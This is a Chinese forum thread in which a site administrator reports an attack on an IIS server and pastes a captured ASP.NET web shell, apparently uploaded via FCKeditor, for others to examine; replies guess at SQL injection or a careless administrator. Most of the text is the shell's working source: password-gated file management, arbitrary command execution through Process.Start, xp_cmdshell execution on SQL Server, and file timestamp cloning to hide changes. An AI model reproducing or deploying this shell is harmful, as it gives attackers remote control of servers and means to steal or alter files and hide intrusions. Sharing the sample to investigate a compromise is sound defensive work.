服务器被人攻击了，帮忙看下。

[ruolins]

服务器早几天被上传asp木马。现在服务器上的IIS不能直接浏览。找不到网页，但是奇怪的是网站还能正常运行。
服务器上的Serv-U不能使用，报下面的错。
“Serv-U无法确定网络 网络故障或Sockets不足如何解决”
是什么原因，

[ruolins]

扫除了几个从fckeditor上传的一个木马。

[shichao102471077]

[Quote=引用 7 楼 zanfeng 的回复:]
引用 2 楼 jianzhang5555 的回复:
引用 1 楼 qingfeng_wu 的回复:

把Application Layer Gateway Service这个系统服务停止看看，还有我建议你前台不要用编辑器。

前台没有编辑器。不知道他是从哪里弄过来的。

管理员打开电脑下个病毒。太正常了。
[/Quote]

牛皮的管理员。。

[ruolins]

这个是其中的一个。大家研究下咯。

<%@ Page Language="VB" ContentType="text/html" validaterequest="false" AspCompat="true" Debug="true" %>
<%@ import Namespace="System.IO" %>
<%@ import Namespace="System.Diagnostics" %>
<%@ import Namespace="Microsoft.Win32" %>
<%@ import Namespace="System.Data" %>
<%@ import Namespace="System.Data.OleDb" %>
<script runat="server">

    '---------Setting Start---------
    'Here, modify the default password to yours, MD5 Hash
    Const PASSWORD as string = "add6bb58e139be103324d04d82d8f545"
    'Session name, avoid session crash
    Const SESSIONNAME as string = "webadmin2"
    '---------Setting End---------
    
    Dim SORTFILED As String
    
    Sub Page_load(sender As Object, E As EventArgs)
      Dim error_x as Exception
      Try
        If Session(SESSIONNAME) = 0 Then
            ShowLogin()
        Else
            ShowMain()
            If not IsPostBack Then
                Select Case Request("action")
                    Case "goto"
                        CDir.Text = Request("src")
                        Call ShowFolders(CDir.Text)
                    Case "copy"
                        Call ShowCopy(Request("src"))
                    Case "cut"
                        Call ShowCut(Request("src"))
                    Case "down"
                        Call DownLoadIt(Request("src"))
                    Case "edit"
                        Call ShowEdit(Request("src"))
                    Case "del"
                        Call ShowDel(Request("src"))
                    Case "rename"
                        Call ShowRn(Request("src"))
                    Case "att"
                        Call ShowAtt(Request("src"))
                End Select
            End If
        End If
      Catch error_x
            ShowError(error_x.Message)
      End Try
    End Sub
    
    Sub Login_click(sender As Object, E As EventArgs)
        Dim MD5Pass As String = LCase(FormsAuthentication.HashPasswordForStoringInConfigFile(UPass.Text, "MD5"))
        If MD5Pass=PASSWORD Then
            Session(SESSIONNAME) = 1
            Call ShowMain()
        Else
            Label_Info.Text = "<b>NO, no, you don't my master</b>"
        End If
    End Sub
    
    

[ruolins]

Sub GoTo_click(sender As Object, E As EventArgs)
        ULOGIN.Visible= False
        MAIN.Visible = True
        FileManager.Visible = True
        CMD.Visible = false
        CloneTime.Visible = False
        SQLROOTKIT.Visible = False
        SysInfo.Visible = False
        Reg.Visible = False
        DATA.Visible = False
        About.Visible = False
        Call ShowFolders(CDir.Text)
    End Sub
    
    Sub ShowError(ErrorMsg As String)
        Label_Info.Text = "<font color=""red""><b>Wrong: </b></font>" & ErrorMsg
    End Sub
    
    Sub ShowMain()
        Label_Info.Text = "Welcome, Master !"
        ULOGIN.Visible = False
        MAIN.Visible = True
    End Sub
    
    Sub ShowDrives()
        Label_Drives.Text = "Go To : "
        Label_Drives.Text += "<a href=""?action=goto&src=" & Server.URLEncode(Server.MapPath(".")) & """> . </a> "
        Label_Drives.Text += "<a href=""?action=goto&src=" & Server.URLEncode(Server.MapPath("/")) & """> / </a> "
        dim i as integer
        for i =0 to Directory.GetLogicalDrives().length-1
             Label_Drives.Text += "<a href=""?action=goto&src=" & Directory.GetLogicalDrives(i) & """>" & Directory.GetLogicalDrives(i) & " </a>"
        next
    End Sub
    
    Sub Logout_click(sender As Object, E As EventArgs)
        Session.Abandon()
        Label_Info.Text = "<b>Byebye !</b>"
        Call ShowLogin()
    End Sub
    
    Sub ShowFileM(sender As Object, E As EventArgs)
        ULOGIN.Visible= False
        MAIN.Visible = True
        FileManager.Visible = True
        CMD.Visible = False
        CloneTime.Visible = False
        SQLROOTKIT.Visible = False
        SysInfo.Visible = False
        Reg.Visible = False
        DATA.Visible = False
        About.Visible = False
        If CDir.Text = "" Then
            CDir.Text = Server.MapPath(".")
        End If
        Call ShowFolders(CDir.Text)
    End Sub
    
    Sub ShowFolders(FPath As String)
      Dim error_x as Exception
      Try
         Call ShowDrives()
        If right(FPath,1)<>"\" Then
            FPath += "\"
        End If
    
        dim xdir as directoryinfo
           dim mydir as new DirectoryInfo(FPath)
           dim xfile as fileinfo
        Label_Files.Text = "<table width=""90%"" border=""0"" align=""center"">"
        Label_Files.Text += "<tr><td width=""40%""><b>Name</b></td><td width=""15%""><b>Size</b></td>"
        Label_Files.Text += "<td width=""20%""><b>ModifyTime</b></td><td width=""25%""><b>Operate</b></td></tr>"
        Label_Files.Text += "<tr><td><tr><td><a href='?action=goto&src="
        Dim tmp As String
        If Len(FPath) < 4 Then
            tmp = server.UrlEncode(FPath)
        Else
            tmp = server.UrlEncode(Directory.GetParent(Left(FPath,Len(FPath)-1)).ToString())
        End If
        Label_Files.Text += tmp & "'><i>|Parent Directory|</i></a></td></tr>"
        For each xdir in mydir.getdirectories()
            Label_Files.Text += "<tr><td>"
            dim filepath as string = server.UrlEncode(FPath  & xdir.name)
            Label_Files.Text += "<a href='?action=goto&src=" & filepath & "\" & "'>" & xdir.name & "</a></td>"
            Label_Files.Text += "<td><dir></td>"
            Label_Files.Text += "<td>" & Directory.GetLastWriteTime(FPath & "\" & xdir.name) & "</td>"
            Label_Files.Text += "<td><a href='?action=cut&src=" & filepath & "\'  target='_blank'>Cut" & "</a>|"
            Label_Files.Text += "<a href='?action=copy&src=" & filepath & "\'  target='_blank'>Copy</a>|"
            Label_Files.Text += "<a href='?action=rename&src=" & filepath & "' target='_blank'>Ren</a>|"
            Label_Files.Text += "<a href='?action=att&src=" & filepath & "\'" & "' target=_blank'>Att</a>|"
            Label_Files.Text += "<a href='?action=del&src=" & filepath & "\'" & "' target=_blank'>Del</a></td>"
            Label_Files.Text += "</tr>"
        Next
        Label_Files.Text += "</td></tr><tr><td>"
        For each xfile in mydir.getfiles()
            dim filepath2 as string
            filepath2=server.UrlEncode(FPath & xfile.name)
            Label_Files.Text += "<tr><td>" & xfile.name & "</td>"
            Label_Files.Text += "<td>" & GetSize(xfile.length) & "</td>"
            Label_Files.Text += "<td>" & file.GetLastWriteTime(FPath  & xfile.name) & "</td>"
            Label_Files.Text += "<td><a href='?action=edit&src=" & filepath2 & "' target='_blank'>Edit</a>|"
            Label_Files.Text += "<a href='?action=cut&src=" & filepath2 & "' target='_blank'>Cut</a>|"
            Label_Files.Text += "<a href='?action=copy&src=" & filepath2 & "' target='_blank'>Copy</a>|"
            Label_Files.Text += "<a href='?action=rename&src=" & filepath2 & "' target='_blank'>Ren</a>|"
            Label_Files.Text += "<a href='?action=down&src=" & filepath2 & "'>Down</a>|"
            Label_Files.Text += "<a href='?action=att&src=" & filepath2 & "' target=_blank'>Att</a>|"
            Label_Files.Text += "<a href='?action=del&src=" & filepath2 & "' target=_blank'>Del</a></td>"
            Label_Files.Text += "</tr>"
        Next
        Label_Files.Text += "</table>"
       Catch error_x
               ShowError(error_x.Message)
       End Try
    End Sub
    
    Function GetSize(temp)
          if temp < 1024 then
             GetSize=temp & " bytes"
          else
             if temp\1024 < 1024 then
                GetSize=temp\1024 & " KB"
             else
                if temp\1024\1024 < 1024 then
                       GetSize=temp\1024\1024 & " MB"
                else
                       GetSize=temp\1024\1024\1024 & " GB"
                end if
             end if
          end if
    End Function
    
    Sub ShowLogin()
        ULOGIN.Visible= True
        MAIN.Visible = False
        FileManager.Visible = False
        CMD.Visible = False
        CloneTime.Visible = False
        SQLROOTKIT.Visible = False
        SysInfo.Visible = False
        Reg.Visible = False
        DATA.Visible = False
        About.Visible = False
    End Sub
    
    'Show Cmd
    Sub Button_showcmd_Click(sender As Object, E As EventArgs)
        ULOGIN.Visible = False
        MAIN.Visible = True
        FileManager.Visible = False
        CMD.Visible = True
        CloneTime.Visible = False
        SQLROOTKIT.Visible = False
        SysInfo.Visible = False
        Reg.Visible = False
        DATA.Visible = False
        About.Visible = False
    End Sub
    
    'Show clonetime
    Sub Button_showclone_Click(sender As Object, E As EventArgs)
        ULOGIN.Visible = False
        MAIN.Visible = True
        FileManager.Visible = False
        CMD.Visible = False
        CloneTime.Visible = True
        SQLROOTKIT.Visible = False
        SysInfo.Visible = False
        Reg.Visible = False
        DATA.Visible = False
        About.Visible = False
    End Sub
    
    Sub Button_showcmdshell_Click(sender As Object, E As EventArgs)
        ULOGIN.Visible = False
        MAIN.Visible = True
        FileManager.Visible = False
        CMD.Visible = False
        CloneTime.Visible = False
        SQLROOTKIT.Visible = True
        SysInfo.Visible = False
        Reg.Visible = False
        DATA.Visible = False
        About.Visible = False
    End Sub
    
   

大家帮顶下咯，代码长，发不上来。

[ruolins]

 Sub Button_showinfo_Click(sender As Object, E As EventArgs)
        ULOGIN.Visible = False
        MAIN.Visible = True
        FileManager.Visible = False
        CMD.Visible = False
        CloneTime.Visible = False
        SQLROOTKIT.Visible = False
        SysInfo.Visible = True
        Reg.Visible = False
        DATA.Visible = False
        About.Visible = False
        ServerIP.Text = request.ServerVariables("LOCAL_ADDR")
        MachineName.Text = Environment.MachineName
        UserDomainName.Text = Environment.UserDomainName.ToString()
        UserName.Text = Environment.UserName
        OS.Text = Environment.OSVersion.ToString()
        StartTime.Text = GetStartedTime(Environment.Tickcount) & "Hours"
        NowTime.Text = Now()
        IISV.Text = request.ServerVariables("SERVER_SOFTWARE")
        HTTPS.Text = request.ServerVariables("HTTPS")
        PATHS.Text = request.ServerVariables("PATH_INFO")
        PATHS2.Text = request.ServerVariables("PATH_TRANSLATED")
        PORT.Text = request.ServerVariables("SERVER_PORT")
        SID.Text = Session.SessionID
    End Sub
    
    Function GetStartedTime(ms)
          GetStartedTime=cint(ms/(1000*60*60))
    End function
    
    Sub ShowReg(Src As Object, E As EventArgs)
        ULOGIN.Visible = False
        MAIN.Visible = True
        FileManager.Visible = False
        CMD.Visible = False
        CloneTime.Visible = False
        SQLROOTKIT.Visible = False
        SysInfo.Visible = False
        Reg.Visible = True
        DATA.Visible = False
        About.Visible = False
    End Sub
    
    Sub ShowData(Src As Object, E As EventArgs)
        ULOGIN.Visible = False
        MAIN.Visible = True
        FileManager.Visible = False
        CMD.Visible = False
        CloneTime.Visible = False
        SQLROOTKIT.Visible = False
        SysInfo.Visible = False
        Reg.Visible = False
        DATA.Visible = True
        About.Visible = False
    End Sub
    
    Sub ShowAbout(Src As Object, E As EventArgs)
        ULOGIN.Visible = False
        MAIN.Visible = True
        FileManager.Visible = False
        CMD.Visible = False
        CloneTime.Visible = False
        SQLROOTKIT.Visible = False
        SysInfo.Visible = False
        Reg.Visible = False
        DATA.Visible = False
        About.Visible = True
    End Sub
    
    Sub ShowEdit( filepath as string)
        ULOGIN.Visible = False
        MAIN.Visible = false
        FileManager.Visible = False
        CMD.Visible = False
        CloneTime.Visible = False
        SQLROOTKIT.Visible = False
        SysInfo.Visible = False
        Reg.Visible = False
        DATA.Visible = False
        About.Visible = False
        File_Edit.Visible = true
        edited_path.Text = filepath
        dim myread as new streamreader(filepath, encoding.default)
           edited_path.text = filepath
           edited_content.text=myread.readtoend
           myread.close()
    End Sub
    
    Sub ShowDel( filepath as string)
        MAIN.Visible = false
        FileManager.Visible = False
        File_del.Visible = True
        label_del.Text = "Are u sure delete file/Folder <b>" & filepath & "</b> ?"
    End Sub
    
    Sub ShowRn( filepath as string)
        MAIN.Visible = false
        FileManager.Visible = False
        File_Rename.Visible = True
        btn_rename.Text = path.getfilename(filepath)
    End Sub
    
    Sub RunCMD(Src As Object, E As EventArgs)
        Dim error_x as Exception
          Try
        Dim myProcess As New Process()
        Dim myProcessStartInfo As New ProcessStartInfo(cmdPath.Text)
        myProcessStartInfo.UseShellExecute = False
        myProcessStartInfo.RedirectStandardOutput = true
        myProcess.StartInfo = myProcessStartInfo
        myProcessStartInfo.Arguments = CMDCommand.text
        myProcess.Start()
        Dim myStreamReader As StreamReader = myProcess.StandardOutput
        Dim myString As String = myStreamReader.Readtoend()
        myProcess.Close()
        mystring=replace(mystring,"<","<")
        mystring=replace(mystring,">",">")
        CMDresult.text = "<pre>" & mystring & "</pre>"
          Catch error_x
               ShowError(error_x.Message)
          End Try
    End Sub
    
    Sub GoCloneTime(Src As Object, E As EventArgs)
          Dim error_x as Exception
          Try
          Dim thisfile As FileInfo =New FileInfo(time1.Text)
          Dim thatfile As FileInfo =New FileInfo(time2.Text)
          thisfile.LastWriteTime = thatfile.LastWriteTime
          thisfile.LastAccessTime = thatfile.LastAccessTime
          thisfile.CreationTime = thatfile.CreationTime
          Label_cloneResult.Text = "<font color=""red"">Clone Time Success!</font>"
          Catch error_x
               ShowError(error_x.Message)
          End Try
    End Sub
    
    Sub CMDSHELL(Src As Object, E As EventArgs)
            Dim error_x as Exception
          Try
            Dim adoConn,strQuery,recResult,strResult
                 adoConn=Server.CreateObject("ADODB.Connection")
                 adoConn.Open(ConStr.Text)
                 If Sqlcmd.Text<>"" Then
                    strQuery = "exec master.dbo.xp_cmdshell '" & Sqlcmd.Text & "'"
                        recResult = adoConn.Execute(strQuery)
                     If NOT recResult.EOF Then
                        Do While NOT recResult.EOF
                            strResult = strResult & chr(13) & recResult(0).value
                            recResult.MoveNext
                        Loop
                     End if
                     recResult = Nothing
                     strResult = Replace(strResult," "," ")
                     strResult = Replace(strResult,"<","<")
                     strResult = Replace(strResult,">",">")
                    resultSQL.Text=SqlCMD.Text & vbcrlf & "<pre>" & strResult & "</pre>"
                 End if
                  adoConn.Close
           Catch error_x
               ShowError(error_x.Message)
          End Try
    End Sub
    
    

[qiuqingpo]

我们的也是这样类似的攻击.可烦人的!我们用的360+卡巴斯基.把Server-u关了.会好一点.

[ruolins]

我滴天，现在有个网站已经挂了。

[吴青峰]

把Application Layer Gateway Service这个系统服务停止看看，还有我建议你前台不要用编辑器。

[ruolins]

[Quote=引用 1 楼 qingfeng_wu 的回复:]

把Application Layer Gateway Service这个系统服务停止看看，还有我建议你前台不要用编辑器。
[/Quote]
前台没有编辑器。不知道他是从哪里弄过来的。

[g_lbz]

[Quote=引用 2 楼 jianzhang5555 的回复:]

引用 1 楼 qingfeng_wu 的回复:

把Application Layer Gateway Service这个系统服务停止看看，还有我建议你前台不要用编辑器。

前台没有编辑器。不知道他是从哪里弄过来的。
[/Quote]
系统存在注入漏洞，比如新闻详细页面是否存在news?id=111这样的注入漏洞，对于Id参数你没有做判断直接操作数据库了？

[ruolins]

[Quote=引用 3 楼 g_lbz 的回复:]

引用 2 楼 jianzhang5555 的回复:

引用 1 楼 qingfeng_wu 的回复:

把Application Layer Gateway Service这个系统服务停止看看，还有我建议你前台不要用编辑器。

前台没有编辑器。不知道他是从哪里弄过来的。

系统存在注入漏洞，比如新闻详细页面是否存在news?id=111这样的注入漏洞，对于Id参数你没有做判断直接……
[/Quote]
sql注入啊。应该不是这个原因、

[yuxh81]

如果确定是木马那就杀吧

你要找原因？
我看不一定是你的代码问题

[feile922]

直接360

[足球中国]

[Quote=引用 2 楼 jianzhang5555 的回复:]
引用 1 楼 qingfeng_wu 的回复:

把Application Layer Gateway Service这个系统服务停止看看，还有我建议你前台不要用编辑器。

前台没有编辑器。不知道他是从哪里弄过来的。
[/Quote]
管理员打开电脑下个病毒。太正常了。

[feile922]

太惨了 加油加油